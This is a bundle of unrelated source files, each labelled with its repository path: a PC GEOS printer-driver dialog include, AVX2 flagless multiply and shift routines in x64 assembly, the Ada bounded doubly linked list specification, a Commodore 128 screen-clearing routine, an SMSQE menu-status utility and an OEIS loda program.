00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
Driver/Printer/DotMatrix/Epmx9/epmx9Dialog.asm
steakknife/pcgeos
504
162442
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1990 -- All Rights Reserved PROJECT: PC GEOS MODULE: print drivers FILE: epmx9Dialog.asm AUTHOR: <NAME> ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 10/92 Initial revision DESCRIPTION: This file contains most of the code to implement the Epson MX type +tractor and manual feed print driver UI support for countries $Id: epmx9Dialog.asm,v 1.1 97/04/18 11:53:53 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ include UI/uiGetNoMain.asm ;pass no tree for Main box include UI/uiGetOptions.asm ;pass tree for Options box include UI/uiEval.asm ;call the routine specified in device ;info resource. include UI/uiEval0ASFCountry.asm ;paper input path and country code ;selecting routines.
book-01/Assembly/asm/avx-2/scalar/avx2_s_flagless_instructions.asm
gfurtadoalmeida/study-assembly-x64
2
10927
<reponame>gfurtadoalmeida/study-assembly-x64 .code ; uint64_t AVX2_Scalar_Flagless_Multiply_UInt_(uint32_t a, uint32_t b, uint64_t flags[2]) AVX2_Scalar_Flagless_Multiply_UInt_ proc ; Save original flags pushfq pop rax mov qword ptr [r8], rax ; Multiply the source operand (rcx) with rdx. ; Stores the low half of the result in the second operand and ; the high half of the result in the first operand. ; r10d = result[0:31] ; r11d = result[32:63] mulx r11d, r10d, ecx ; Save flags after multiplication pushfq pop rax mov qword ptr [r8+type qword], rax ; Build the result mov eax, r10d shl r11, 32 or rax, r11 ret AVX2_Scalar_Flagless_Multiply_UInt_ endp ; void AVX2_Scalar_Flagless_Shift_UInt_(uint32_t value, uint32_t count, uint32_t results[3], uint64_t flags[4]) AVX2_Scalar_Flagless_Shift_UInt_ proc ; Save original flags pushfq pop rax mov qword ptr [r9], rax ; Shifts: ; - Arithmetic right ; - Logical left ; - Logical right ; ; For each shift, the flags after the operation ; is saved. sarx eax, ecx, edx mov dword ptr [r8], eax pushfq pop rax mov qword ptr [r9+8], rax shlx eax, ecx, edx mov dword ptr [r8+4], eax pushfq pop rax mov qword ptr [r9+16], rax shrx eax, ecx, edx mov dword ptr [r8+8], eax pushfq pop rax mov qword ptr [r9+24], rax ret AVX2_Scalar_Flagless_Shift_UInt_ endp end
ada-containers-bounded_doubly_linked_lists.ads
mgrojo/adalib
15
30010
<gh_stars>10-100 -- Standard Ada library specification -- Copyright (c) 2004-2016 AXE Consultants -- Copyright (c) 2004, 2005, 2006 Ada-Europe -- Copyright (c) 2000 The MITRE Corporation, Inc. -- Copyright (c) 1992, 1993, 1994, 1995 Intermetrics, Inc. -- SPDX-License-Identifier: BSD-3-Clause and LicenseRef-AdaReferenceManual --------------------------------------------------------------------------- with Ada.Iterator_Interfaces; generic type Element_Type is private; with function "=" (Left, Right : Element_Type) return Boolean is <>; package Ada.Containers.Bounded_Doubly_Linked_Lists is pragma Pure(Bounded_Doubly_Linked_Lists); pragma Remote_Types(Bounded_Doubly_Linked_Lists); type List (Capacity : Count_Type) is tagged private with Constant_Indexing => Constant_Reference, Variable_Indexing => Reference, Default_Iterator => Iterate, Iterator_Element => Element_Type; pragma Preelaborable_Initialization(List); type Cursor is private; pragma Preelaborable_Initialization(Cursor); Empty_List : constant List; No_Element : constant Cursor; function Has_Element (Position : Cursor) return Boolean; package List_Iterator_Interfaces is new Ada.Iterator_Interfaces (Cursor, Has_Element); function "=" (Left, Right : List) return Boolean; function Length (Container : List) return Count_Type; function Is_Empty (Container : List) return Boolean; procedure Clear (Container : in out List); function Element (Position : Cursor) return Element_Type; procedure Replace_Element (Container : in out List; Position : in Cursor; New_Item : in Element_Type); procedure Query_Element (Position : in Cursor; Process : not null access procedure (Element : in Element_Type)); procedure Update_Element (Container : in out List; Position : in Cursor; Process : not null access procedure (Element : in out Element_Type)); type Constant_Reference_Type (Element : not null access constant Element_Type) is private with Implicit_Dereference => Element; type Reference_Type (Element : not null access Element_Type) is private with Implicit_Dereference => Element; function Constant_Reference (Container : aliased in List; Position : in Cursor) return Constant_Reference_Type; function Reference (Container : aliased in out List; Position : in Cursor) return Reference_Type; procedure Assign (Target : in out List; Source : in List); function Copy (Source : List; Capacity : Count_Type := 0) return List; procedure Move (Target : in out List; Source : in out List); procedure Insert (Container : in out List; Before : in Cursor; New_Item : in Element_Type; Count : in Count_Type := 1); procedure Insert (Container : in out List; Before : in Cursor; New_Item : in Element_Type; Position : out Cursor; Count : in Count_Type := 1); procedure Insert (Container : in out List; Before : in Cursor; Position : out Cursor; Count : in Count_Type := 1); procedure Prepend (Container : in out List; New_Item : in Element_Type; Count : in Count_Type := 1); procedure Append (Container : in out List; New_Item : in Element_Type; Count : in Count_Type := 1); procedure Delete (Container : in out List; Position : in out Cursor; Count : in Count_Type := 1); procedure Delete_First (Container : in out List; Count : in Count_Type := 1); procedure Delete_Last (Container : in out List; Count : in Count_Type := 1); procedure Reverse_Elements (Container : in out List); procedure Swap (Container : in out List; I, J : in Cursor); procedure Swap_Links (Container : in out List; I, J : in Cursor); procedure Splice (Target : in out List; Before : in Cursor; Source : in out List); procedure Splice (Target : in out List; Before : in Cursor; Source : in out List; Position : in out Cursor); procedure Splice (Container: in out List; Before : in Cursor; Position : in Cursor); function First (Container : List) return Cursor; function First_Element (Container : List) return Element_Type; function Last (Container : List) return Cursor; function Last_Element (Container : List) return Element_Type; function Next (Position : Cursor) return Cursor; function Previous (Position : Cursor) return Cursor; procedure Next (Position : in out Cursor); procedure Previous (Position : in out Cursor); function Find (Container : List; Item : Element_Type; Position : Cursor := No_Element) return Cursor; function Reverse_Find (Container : List; Item : Element_Type; Position : Cursor := No_Element) return Cursor; function Contains (Container : List; Item : Element_Type) return Boolean; procedure Iterate (Container : in List; Process : not null access procedure (Position : in Cursor)); procedure Reverse_Iterate (Container : in List; Process : not null access procedure (Position : in Cursor)); function Iterate (Container : in List) return List_Iterator_Interfaces.Reversible_Iterator'Class; function Iterate (Container : in List; Start : in Cursor) return List_Iterator_Interfaces.Reversible_Iterator'Class; generic with function "<" (Left, Right : Element_Type) return Boolean is <>; package Generic_Sorting is function Is_Sorted (Container : List) return Boolean; procedure Sort (Container : in out List); procedure Merge (Target : in out List; Source : in out List); end Generic_Sorting; private -- not specified by the language end Ada.Containers.Bounded_Doubly_Linked_Lists;
libsrc/target/c128/stdio/ansi/f_ansi_cls.asm
ahjelm/z88dk
640
18537
; ; ANSI Video handling for the Commodore 128 (Z80 mode) ; By <NAME> - 22/08/2001 ; ; CLS - Clear the screen ; ; ; $Id: f_ansi_cls.asm $ ; SECTION code_clib PUBLIC ansi_cls EXTERN __c128_paper .ansi_cls ld hl,$2000 ; Text ld d,h ld e,l inc de ld bc,1023 ld (hl),32 ldir ld hl,$1000 ; Color attributes ld d,h ld e,l inc de ld bc,1023 ld (hl),1 ldir ld bc,$D021 ld a,(__c128_paper) out (c),a ld bc,$D020 ; BORDER out (c),a ret
uti/setstat.asm
olifink/smsqe
0
80418
<reponame>olifink/smsqe<filename>uti/setstat.asm ; Set list of statuses to pre-defined or the same status ; 1994 <NAME> V0.00 include dev8_keys_wstatus include dev8_keys_wwork section utility xdef ut_slstat ; set list of statuses xdef ut_ssstat ; set same statuses ;+++ ; Set list of statuses. To save space, and as it is unlikely that a menu ; has more than 254 loose menu items, a byte status item number is used. ; The list is organised as follows: ; ; byte item number ; byte status ; It is terminated by a -1 byte. ; ; Entry Exit ; a1 ptr to list window status area ; a4 window working def preserved ;--- sls.reg reg d1/a0 ut_slstat movem.l sls.reg,-(sp) move.l a1,a0 ; the list move.l ww_wstat(a4),a1 ; window status area moveq #0,d1 ut_slsloop move.b (a0)+,d1 ; get status number cmp.b #$ff,d1 ; end of list? beq.s ut_slsend move.b (a0)+,ws_litem(a1,d1.w) ; fill in status bra.s ut_slsloop ut_slsend movem.l (sp)+,sls.reg rts ;+++ ; Set same statuses. To save space, and as it is unlikely that a menu ; has more than 254 loose menu items, a byte status item number is used. ; The list is organised as follows: ; ; byte item number ; It is terminated by a -1 byte. ; ; Entry Exit ; d0.b status to set ; a1 ptr to list window status area ; a4 window working def preserved ;--- ut_ssstat movem.l sls.reg,-(sp) move.l a1,a0 ; the list move.l ww_wstat(a4),a1 ; window status area moveq #0,d1 ut_sssloop move.b (a0)+,d1 ; get status number cmp.b #$ff,d1 ; end of list? beq.s ut_slsend move.b d0,ws_litem(a1,d1.w) ; set status bra.s ut_sssloop end
programs/oeis/178/A178166.asm
neoneye/loda
22
5444
; A178166: 10^a(n) Pascal triangle, where a(n) = A007318(n). ; 10,10,10,10,100,10,10,1000,1000,10,10,10000,1000000,10000,10,10,100000,10000000000,10000000000,100000,10,10,1000000,1000000000000000,100000000000000000000,1000000000000000,1000000,10,10,10000000,1000000000000000000000 seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n. mov $1,10 pow $1,$0 mov $0,$1